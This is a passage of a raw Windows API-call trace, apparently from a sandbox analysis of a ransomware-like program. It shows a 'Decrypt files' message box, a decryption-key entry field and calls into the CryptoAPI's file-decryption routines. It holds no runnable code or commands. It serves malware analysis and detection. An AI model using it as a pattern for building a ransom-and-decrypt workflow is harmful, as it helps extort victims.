[0048.982] GetAsyncKeyState (vKey=2) returned 0 [0048.983] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 1 [0048.983] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.983] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.983] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x20, wParam=0xb018c, lParam=0x2000001) returned 0x0 [0048.983] TranslateAcceleratorW (hWnd=0x501e8, hAccTable=0x2901c7, lpMsg=0x10f395f7d0) returned 0 [0048.983] IsDialogMessageW (hDlg=0x501e8, lpMsg=0x10f395f7d0) returned 1 [0048.983] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 1 [0048.983] TranslateAcceleratorW (hWnd=0x501e8, hAccTable=0x2901c7, lpMsg=0x10f395f7d0) returned 0 [0048.983] IsDialogMessageW (hDlg=0x501e8, lpMsg=0x10f395f7d0) returned 1 [0048.983] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.983] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x14, wParam=0xffffffffe401070f, lParam=0x0) returned 0x1 [0048.983] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.983] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.983] GetSysColor (nIndex=15) returned 0xf0f0f0 [0048.983] SetBkColor (hdc=0xffffffffe401070f, color=0xf0f0f0) returned 0xf0f0f0 [0048.983] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.983] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x318, wParam=0xffffffffe401070f, lParam=0x4) returned 0x0 [0048.983] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.983] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.983] GetSysColor (nIndex=15) returned 0xf0f0f0 [0048.983] SetBkColor (hdc=0xffffffffe401070f, color=0xf0f0f0) returned 0xf0f0f0 [0048.983] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.983] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.983] GetWindowLongPtrW (hWnd=0xb018c, nIndex=-21) returned 0x3 [0048.983] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x4e, wParam=0x3, lParam=0x10f395ef70) returned 0x0 [0048.983] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.983] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.983] GetWindowLongPtrW (hWnd=0xb018c, nIndex=-21) returned 0x3 [0048.983] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x4e, wParam=0x3, lParam=0x10f395ef70) returned 0x0 [0048.983] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 1 [0048.983] TranslateAcceleratorW (hWnd=0x501e8, hAccTable=0x2901c7, lpMsg=0x10f395f7d0) returned 0 [0048.983] IsDialogMessageW (hDlg=0x501e8, lpMsg=0x10f395f7d0) returned 1 [0048.983] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 1 [0048.984] TranslateAcceleratorW (hWnd=0x501e8, hAccTable=0x2901c7, lpMsg=0x10f395f7d0) returned 0 [0048.984] TranslateMessage (lpMsg=0x10f395f7d0) returned 0 [0048.984] DispatchMessageW (lpMsg=0x10f395f7d0) returned 0xffffffff [0048.984] GetForegroundWindow () returned 0xb018c [0048.984] GetWindowLongPtrW (hWnd=0xb018c, nIndex=-21) returned 0x3 [0048.984] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.984] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.984] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.984] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.984] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.984] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.984] SetWindowTextW (hWnd=0xf001e, lpString="") returned 1 [0048.985] SendMessageW (hWnd=0xf001e, Msg=0xb1, wParam=0xf4240, lParam=0xf423f) returned 0x1 [0048.985] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 1 [0048.985] TranslateAcceleratorW (hWnd=0x501e8, hAccTable=0x2901c7, lpMsg=0x10f395f7d0) returned 0 [0048.985] IsDialogMessageW (hDlg=0x501e8, lpMsg=0x10f395f7d0) returned 1 [0048.985] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.985] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.985] GetWindowLongPtrW (hWnd=0xf001e, nIndex=-21) returned 0x4 [0048.985] GetWindowLongPtrW (hWnd=0xf001e, nIndex=-21) returned 0x4 [0048.985] GetSysColor (nIndex=15) returned 0xf0f0f0 [0048.985] SetTextColor (hdc=0x11010729, color=0xff00) returned 0x0 [0048.985] SetBkColor (hdc=0x11010729, color=0x0) returned 0xffffff [0048.985] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.985] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.985] GetWindowLongPtrW (hWnd=0xf001e, nIndex=-21) returned 0x4 [0048.985] GetWindowLongPtrW (hWnd=0xf001e, nIndex=-21) returned 0x4 [0048.985] GetSysColor (nIndex=15) returned 0xf0f0f0 [0048.985] SetTextColor (hdc=0x11010729, color=0xff00) returned 0xff00 [0048.986] SetBkColor (hdc=0x11010729, color=0x0) returned 0x0 [0048.986] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.986] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.986] GetWindowLongPtrW (hWnd=0xf001e, nIndex=-21) returned 0x4 [0048.986] GetWindowLongPtrW (hWnd=0xf001e, nIndex=-21) returned 0x4 [0048.986] GetSysColor (nIndex=15) returned 0xf0f0f0 [0048.986] SetTextColor (hdc=0x11010729, color=0xff00) returned 0xff00 [0048.986] SetBkColor (hdc=0x11010729, color=0x0) returned 0x0 [0048.986] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.986] MessageBoxW (hWnd=0x0, lpText="Your files will be decrypted if the decryption key was correct", lpCaption="Decrypt files", uType=0x10040) returned 1 [0049.003] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.003] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x86, wParam=0x0, lParam=0xa01e4) returned 0x1 [0049.003] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.003] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.003] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x6, wParam=0x0, lParam=0xa01e4) returned 0x0 [0049.005] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.005] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.005] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x20, wParam=0xb018c, lParam=0x2000001) returned 0x0 [0049.005] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.005] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x14, wParam=0xffffffffe501070f, lParam=0x0) returned 0x1 [0049.005] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.005] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.005] GetSysColor (nIndex=15) returned 0xf0f0f0 [0049.005] SetBkColor (hdc=0xffffffffe501070f, color=0xf0f0f0) returned 0xffffff [0049.005] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.005] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x318, wParam=0xffffffffe501070f, lParam=0x4) returned 0x0 [0049.005] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.005] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.005] GetSysColor (nIndex=15) returned 0xf0f0f0 [0049.005] SetBkColor (hdc=0xffffffffe501070f, color=0xf0f0f0) returned 0xf0f0f0 [0049.005] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.005] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.006] GetWindowLongPtrW (hWnd=0xb018c, nIndex=-21) returned 0x3 [0049.006] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x4e, wParam=0x3, lParam=0x10f395eaa0) returned 0x0 [0049.006] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.006] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.006] GetWindowLongPtrW (hWnd=0xb018c, nIndex=-21) returned 0x3 [0049.006] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x4e, wParam=0x3, lParam=0x10f395eaa0) returned 0x0 [0049.012] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.012] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.012] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x20, wParam=0xb018c, lParam=0x2000001) returned 0x0 [0049.025] GetForegroundWindow () returned 0xa01e4 [0049.025] GetWindowLongPtrW (hWnd=0xa01e4, nIndex=-21) returned 0x10f395f640 [0049.040] Shell_NotifyIconW (dwMessage=0x1, lpData=0x10f395e8a0) returned 1 [0049.040] KillTimer (hWnd=0xa002c, uIDEvent=0x1) returned 1 [0049.040] SetTimer (hWnd=0xa002c, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0049.077] GetForegroundWindow () returned 0xa01e4 [0049.077] GetWindowLongPtrW (hWnd=0xa01e4, nIndex=-21) returned 0x10f395f640 [0049.128] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.128] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.128] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x4e, wParam=0x3, lParam=0x10f395efa0) returned 0x0 [0049.128] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.128] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x14, wParam=0xf01071c, lParam=0x0) returned 0x1 [0049.128] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.128] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.128] GetSysColor (nIndex=15) returned 0xf0f0f0 [0049.129] SetBkColor (hdc=0xf01071c, color=0xf0f0f0) returned 0xffffff [0049.129] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.129] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x318, wParam=0xf01071c, lParam=0x4) returned 0x0 [0049.129] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.129] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.129] GetSysColor (nIndex=15) returned 0xf0f0f0 [0049.129] SetBkColor (hdc=0xf01071c, color=0xf0f0f0) returned 0xf0f0f0 [0049.129] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.129] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.129] GetWindowLongPtrW (hWnd=0xb018c, nIndex=-21) returned 0x3 [0049.129] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x4e, wParam=0x3, lParam=0x10f395eaa0) returned 0x0 [0049.129] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.129] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.129] GetWindowLongPtrW (hWnd=0xb018c, nIndex=-21) returned 0x3 [0049.129] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x4e, wParam=0x3, lParam=0x10f395eaa0) returned 0x0 [0049.129] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.129] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x14, wParam=0x78010826, lParam=0x0) returned 0x1 [0049.129] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.129] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.129] GetSysColor (nIndex=15) returned 0xf0f0f0 [0049.129] SetBkColor (hdc=0x78010826, color=0xf0f0f0) returned 0xffffff [0049.129] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.129] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x318, wParam=0x78010826, lParam=0x4) returned 0x0 [0049.129] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.129] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.129] GetSysColor (nIndex=15) returned 0xf0f0f0 [0049.129] SetBkColor (hdc=0x78010826, color=0xf0f0f0) returned 0xf0f0f0 [0049.129] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.129] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.129] GetWindowLongPtrW (hWnd=0xb018c, nIndex=-21) returned 0x3 [0049.129] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x4e, wParam=0x3, lParam=0x10f395eaa0) returned 0x0 [0049.129] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.129] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.129] GetWindowLongPtrW (hWnd=0xb018c, nIndex=-21) returned 0x3 [0049.129] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x4e, wParam=0x3, lParam=0x10f395eaa0) returned 0x0 [0049.129] GetForegroundWindow () returned 0xa01e4 [0049.129] GetWindowLongPtrW (hWnd=0xa01e4, nIndex=-21) returned 0x10f395f640 [0049.177] GetForegroundWindow () returned 0xa01e4 [0049.177] GetWindowLongPtrW (hWnd=0xa01e4, nIndex=-21) returned 0x10f395f640 [0049.226] GetForegroundWindow () returned 0xa01e4 [0049.226] GetWindowLongPtrW (hWnd=0xa01e4, nIndex=-21) returned 0x10f395f640 [0049.270] GetForegroundWindow () returned 0xa01e4 [0049.270] GetWindowLongPtrW (hWnd=0xa01e4, nIndex=-21) returned 0x10f395f640 [0049.326] GetForegroundWindow () returned 0xf0182 [0049.327] GetWindowLongPtrW (hWnd=0xf0182, nIndex=-21) returned 0x0 [0049.370] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.370] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x46, wParam=0x0, lParam=0x10f395f200) returned 0x0 [0049.371] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.371] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x47, wParam=0x0, lParam=0x10f395f200) returned 0x0 [0049.371] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.371] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0049.371] NtdllDefWindowProc_W (hWnd=0xa002c, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0049.371] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.371] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1 [0049.372] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.372] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.372] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x6, wParam=0x1, lParam=0x0) returned 0x0 [0049.384] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 1 [0049.385] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.385] GetWindowLongW (hWnd=0x501e8, nIndex=-20) returned 256 [0049.385] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x84, wParam=0x0, lParam=0x2000371) returned 0x1 [0049.385] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.385] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.385] GetClientRect (in: hWnd=0x501e8, lpRect=0x10f395f480 | out: lpRect=0x10f395f480) returned 1 [0049.385] GetCursorPos (in: lpPoint=0x10f395f4a0 | out: lpPoint=0x10f395f4a0*(x=881, y=512)) returned 1 [0049.385] ScreenToClient (in: hWnd=0x501e8, lpPoint=0x10f395f4a0 | out: lpPoint=0x10f395f4a0) returned 1 [0049.385] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0049.385] SetCursor (hCursor=0x10003) returned 0x10003 [0049.385] TranslateAcceleratorW (hWnd=0x501e8, hAccTable=0x2901c7, lpMsg=0x10f395f7d0) returned 0 [0049.385] IsDialogMessageW (hDlg=0x501e8, lpMsg=0x10f395f7d0) returned 1 [0049.385] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.385] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x200, wParam=0x0, lParam=0x18a0230) returned 0x0 [0049.385] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 1 [0049.385] TranslateAcceleratorW (hWnd=0x501e8, hAccTable=0x2901c7, lpMsg=0x10f395f7d0) returned 0 [0049.385] IsDialogMessageW (hDlg=0x501e8, lpMsg=0x10f395f7d0) returned 1 [0049.385] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.385] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x14, wParam=0x78010826, lParam=0x0) returned 0x1 [0049.385] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.385] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.385] GetSysColor (nIndex=15) returned 0xf0f0f0 [0049.386] SetBkColor (hdc=0x78010826, color=0xf0f0f0) returned 0xf0f0f0 [0049.386] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.386] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x318, wParam=0x78010826, lParam=0x4) returned 0x0 [0049.386] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.386] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.386] GetSysColor (nIndex=15) returned 0xf0f0f0 [0049.386] SetBkColor (hdc=0x78010826, color=0xf0f0f0) returned 0xf0f0f0 [0049.386] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.386] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.386] GetWindowLongPtrW (hWnd=0xb018c, nIndex=-21) returned 0x3 [0049.386] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x4e, wParam=0x3, lParam=0x10f395ef70) returned 0x0 [0049.386] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.386] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.386] GetWindowLongPtrW (hWnd=0xb018c, nIndex=-21) returned 0x3 [0049.386] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x4e, wParam=0x3, lParam=0x10f395ef70) returned 0x0 [0049.386] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 1 [0049.386] TranslateAcceleratorW (hWnd=0x501e8, hAccTable=0x2901c7, lpMsg=0x10f395f7d0) returned 0 [0049.386] TranslateMessage (lpMsg=0x10f395f7d0) returned 0 [0049.386] DispatchMessageW (lpMsg=0x10f395f7d0) returned 0x0 [0049.386] GetForegroundWindow () returned 0x501e8 [0049.387] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0049.387] GetCursorPos (in: lpPoint=0x10f395f630 | out: lpPoint=0x10f395f630*(x=881, y=512)) returned 1 [0049.387] ScreenToClient (in: hWnd=0x501e8, lpPoint=0x10f395f630 | out: lpPoint=0x10f395f630) returned 1 [0049.387] GetAsyncKeyState (vKey=1) returned 1 [0049.387] GetAsyncKeyState (vKey=2) returned 0 [0049.387] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 1 [0049.387] TranslateAcceleratorW (hWnd=0x501e8, hAccTable=0x2901c7, lpMsg=0x10f395f7d0) returned 0 [0049.387] IsDialogMessageW (hDlg=0x501e8, lpMsg=0x10f395f7d0) returned 1 [0049.387] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0049.387] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTFILE") returned 0x12 [0049.388] SendMessageW (hWnd=0x8011c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xd [0049.388] GetWindowTextW (in: hWnd=0x8011c, lpString=0x10f3bf18b0, nMaxCount=14 | out: lpString="Decryptionkey") returned 13 [0049.389] PeekMessageW (in: lpMsg=0x10f395f4b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f4b0) returned 0 [0049.390] FindFirstFileW (in: lpFileName="C:\\PROGRA~1\\COMMON~1\\31236356313123635631", lpFindFileData=0x10f395eee0 | out: lpFindFileData=0x10f395eee0) returned 0x10f3be7350 [0049.390] FindClose (in: hFindFile=0x10f3be7350 | out: hFindFile=0x10f3be7350) returned 1 [0049.390] PeekMessageW (in: lpMsg=0x10f395f4b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f4b0) returned 0 [0049.390] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0049.390] PeekMessageW (in: lpMsg=0x10f395f190, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f190) returned 0 [0049.390] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0049.391] PeekMessageW (in: lpMsg=0x10f395eb80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395eb80) returned 0 [0049.391] GetLastError () returned 0x0 [0049.391] SetLastError (dwErrCode=0x0) [0049.391] PeekMessageW (in: lpMsg=0x10f395f190, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f190) returned 0 [0049.391] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x7ffe2a590000 [0049.392] PeekMessageW (in: lpMsg=0x10f395f190, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f190) returned 0 [0049.399] PeekMessageW (in: lpMsg=0x10f395f190, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f190) returned 0 [0049.399] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0049.400] PeekMessageW (in: lpMsg=0x10f395ee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395ee70) returned 0 [0049.400] PeekMessageW (in: lpMsg=0x10f395ee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395ee70) returned 0 [0049.400] PeekMessageW (in: lpMsg=0x10f395f190, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f190) returned 0 [0049.400] PeekMessageW (in: lpMsg=0x10f395f190, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f190) returned 0 [0049.400] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0049.400] PeekMessageW (in: lpMsg=0x10f395e8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395e8f0) returned 0 [0049.401] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0049.402] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0049.402] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x10f3c0d350, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0049.402] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptAcquireContext") returned 0x0 [0049.402] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0049.402] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x10f3c0d890, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0049.402] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptAcquireContextA") returned 0x7ffe2a59f478 [0049.402] CryptAcquireContextA (in: phProv=0x10f395e8e0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x10f395e8e0*=0x10f3c3d4c0) returned 1 [0049.411] PeekMessageW (in: lpMsg=0x10f395f190, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f190) returned 1 [0049.411] TranslateAcceleratorW (hWnd=0x501e8, hAccTable=0x2901c7, lpMsg=0x10f395f190) returned 0 [0049.411] TranslateMessage (lpMsg=0x10f395f190) returned 0 [0049.411] DispatchMessageW (lpMsg=0x10f395f190) returned 0x0 [0049.411] GetForegroundWindow () returned 0x501e8 [0049.411] GetWindowLongPtrW 